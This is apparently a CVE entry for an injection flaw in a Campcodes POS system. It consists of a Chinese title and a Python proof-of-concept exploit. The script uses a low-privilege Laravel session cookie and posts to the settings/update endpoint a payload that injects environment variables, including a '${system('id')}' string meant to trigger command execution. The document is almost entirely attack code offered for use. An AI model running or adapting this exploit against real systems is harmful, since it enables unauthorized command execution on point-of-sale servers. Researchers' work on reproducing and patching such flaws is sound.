CVE-2026-5561 Campcodes POS系统注入漏洞

import requests # Target URL (Example) target_url = "http://target-ip/settings/update" # Attacker's session cookie (Low privilege session required) cookies = { "laravel_session": "attacker_session_value_here" } # Malicious payload attempting to inject environment variables # This PoC simulates sending a crafted request to the vulnerable controller payload = { "APP_ENV": "production", "APP_DEBUG": "true", # Attempting to inject a malicious configuration or code "MALICIOUS_CONFIG": "${system('id')}" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the environment variable was injected.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")